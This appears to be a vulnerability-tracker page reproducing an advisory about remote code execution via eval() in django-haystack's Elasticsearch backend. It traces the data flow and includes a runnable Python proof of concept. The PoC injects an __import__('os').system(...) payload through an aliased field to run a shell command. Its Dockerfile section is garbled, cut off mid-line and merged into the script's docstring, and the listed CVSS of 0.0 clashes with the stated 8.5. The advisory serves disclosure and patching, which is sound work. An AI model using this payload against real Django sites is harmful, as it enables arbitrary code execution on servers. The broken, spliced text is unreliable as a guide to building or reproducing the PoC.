VulnWatch VulnWatch
← Back to dashboard
High github · GHSA-r3hx-x5rh-p9vv

django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization

Published Jul 15, 2026 CVSS 0.0

Remote Code Execution via eval() in Elasticsearch Result Deserialization

Summary

The Elasticsearch backend in django-haystack calls eval() on raw field values returned from Elasticsearch when a SearchField is declared with an index_fieldname alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to _to_python()eval(). An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: 8.5 (High).

Details

Sink — haystack/backends/elasticsearch_backend.py:865:

converted_value = eval(value)

_to_python() (line ~850) attempts to parse a string value by calling eval() before performing any type-safety check. If the value is an attacker-controlled Python expression such as __import__('os').system(...), the expression is executed unconditionally.

Root cause — haystack/backends/elasticsearch_backend.py:727–737:

for key, value in source.items():
    string_key = str(key)

    if string_key in index.fields and hasattr(index.fields[string_key], "convert"):
        additional_fields[string_key] = index.fields[string_key].convert(value)
    else:
        additional_fields[string_key] = self._to_python(value)

index.fields is keyed by the logical field name (e.g. "name"), but Elasticsearch stores the document under the index_fieldname alias (e.g. "name_s"). Because "name_s" not in index.fields, the branch falls through to self._to_python(value).

Data flow (source → sink):

  1. haystack/indexes.py:226self.prepared_data[field.index_fieldname] = field.prepare(obj) stores data under the alias.
  2. haystack/backends/elasticsearch_backend.py:218 — prepared data copied into final_data.
  3. haystack/backends/elasticsearch_backend.py:236bulk(...) writes the document to Elasticsearch under the alias key.
  4. haystack/backends/elasticsearch_backend.py:574 — search reads attacker-influenced _source back from Elasticsearch.
  5. haystack/backends/elasticsearch_backend.py:720_process_results() takes raw_result["_source"].
  6. haystack/backends/elasticsearch_backend.py:730 — lookup string_key in index.fields fails for alias keys.
  7. haystack/backends/elasticsearch_backend.py:737 — unmatched value passed to _to_python(value).
  8. haystack/backends/elasticsearch_backend.py:865sink: converted_value = eval(value).

Missing fix: The Solr backend correctly remaps aliases at haystack/backends/solr_backend.py:535–539 using index.field_map before performing the index.fields lookup. The Elasticsearch backend has no equivalent remapping.

Preconditions:

  • The application uses the Elasticsearch backend.
  • At least one SearchField in a SearchIndex is declared with index_fieldname set to a value different from the logical attribute name.
  • The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).
  • The attacker can trigger or wait for a search that returns the malicious document.

PoC

Environment setup (Docker):

# Build the proof-of-concept image
docker build -t vuln001-poc \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/reports/pypiAi_436_django-haystack__django-haystack/

# Run the PoC — exits 0 on confirmed RCE
docker run --rm vuln001-poc

Dockerfile (vuln-001/Dockerfile):

FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir setuptools setuptools_scm wheel
COPY repo/ /app/repo/
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,=4.2" "elasticsearch>=5, eval().

Attack path:
    1. Attacker controls content that is indexed into Elasticsearch.
    2. The Django app has a SearchIndex field with index_fieldname alias.
    3. ES stores the document under the alias key.
    4. On search, _process_results reads _source where the alias key is NOT
       found in index.fields (which uses logical names).
    5. The value routes to _to_python(value) -> eval(value) -> RCE.

This PoC bypasses the need for a live Elasticsearch instance by directly
calling _process_results() with a crafted raw result dict.
"""

import os
import sys

# ---------------------------------------------------------------------------
# 1. Configure Django (no database required)
# ---------------------------------------------------------------------------
from django.conf import settings

if not settings.configured:
    settings.configure(
        SECRET_KEY="poc-only-not-for-production",
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "haystack",
        ],
        HAYSTACK_CONNECTIONS={
            "default": {
                "ENGINE": "haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine",
                "URL": "http://127.0.0.1:9200/",
                "INDEX_NAME": "poc_index",
            }
        },
        DATABASES={},
    )

import haystack
import haystack.backends.elasticsearch_backend as esb

# ---------------------------------------------------------------------------
# 2. Mock objects to simulate the Haystack/ES environment
# ---------------------------------------------------------------------------

class MockField:
    """
    Simulates a SearchField declared with an index_fieldname alias.
    Logical field name: "name"
    ES storage key (index_fieldname): "name_s"
    """
    index_fieldname = "name_s"

    def convert(self, value):
        return str(value)


class MockIndex:
    """
    Simulates a SearchIndex.
    fields: keyed by LOGICAL name ("name")
    field_map: alias -> logical name  (Solr uses this; ES backend does NOT)
    """
    fields = {
        "name": MockField(),
    }
    field_map = {"name_s": "name"}


class MockUnifiedIndex:
    document_field = "text"

    def get_indexed_models(self):
        return [object]

    def get_index(self, model):
        return MockIndex()


class MockConnection:
    def get_unified_index(self):
        return MockUnifiedIndex()


# Patch the global haystack connections registry so _process_results can
# look up the unified index without a real Elasticsearch connection.
haystack.connections = {"default": MockConnection()}

# Patch the model-lookup helper used inside _process_results.
# Returns `object` so the model is found and the result is processed.
esb.haystack_get_model = lambda app_label, model_name: object

# ---------------------------------------------------------------------------
# 3. Build the malicious payload
# ---------------------------------------------------------------------------
MARKER_FILE = "/tmp/django_haystack_eval_rce_proof"

# os.system() returns the exit code (int). The isinstance(int) check in
# _to_python() passes, so eval() completes without raising, confirming
# full expression execution. The shell command writes the proof file.
payload = (
    f"__import__('os').system("
    f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')"
)

# Crafted Elasticsearch raw response:
#   "name_s" is the index_fieldname alias stored in ES.
#   "name" is the logical field name present in index.fields.
#   Because "name_s" != "name", the lookup fails and value goes to eval().
raw_results = {
    "hits": {
        "total": 1,
        "hits": [
            {
                "_score": 1.0,
                "_source": {
                    "django_ct": "app.model",   # required sentinel field
                    "django_id": "1",           # required sentinel field
                    "name_s": payload,          # alias key -> eval() path
                },
            }
        ],
    }
}

# ---------------------------------------------------------------------------
# 4. Instantiate the backend without __init__ (no live ES connection needed)
# ---------------------------------------------------------------------------
backend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend)
backend.connection_alias = "default"
backend.include_spelling = False

# ---------------------------------------------------------------------------
# 5. Trigger the vulnerability
# ---------------------------------------------------------------------------
print("=" * 60)
print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend")
print("=" * 60)
print(f"[*] Payload : {payload}")
print(f"[*] Marker  : {MARKER_FILE}")
print(f"[*] Sink    : elasticsearch_backend.py:865  eval(value)")
print()

# Remove any leftover marker from a previous run
if os.path.exists(MARKER_FILE):
    os.remove(MARKER_FILE)

try:
    backend._process_results(raw_results)
except Exception as exc:
    # An exception here does not mean eval() was not called;
    # the side effect (file write) is the ground truth.
    print(f"[!] _process_results raised (checking side effects anyway): {exc}")

# ---------------------------------------------------------------------------
# 6. Verify the side effect
# ---------------------------------------------------------------------------
print()
if os.path.exists(MARKER_FILE):
    content = open(MARKER_FILE).read().strip()
    print("[+] SUCCESS: RCE CONFIRMED")
    print(f"[+] Marker file created: {MARKER_FILE}")
    print(f"[+] File content: {content}")
    print()
    print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable")
    sys.exit(0)
else:
    print("[-] FAILURE: Marker file was not created")
    print("[-] eval() was not triggered or the payload did not execute")
    print()
    print("RESULT: FAIL - RCE could not be confirmed")
    sys.exit(1)

Affected AI Products

haystack
Get the weekly digest. Every Monday: top AI security stories of the week. Free.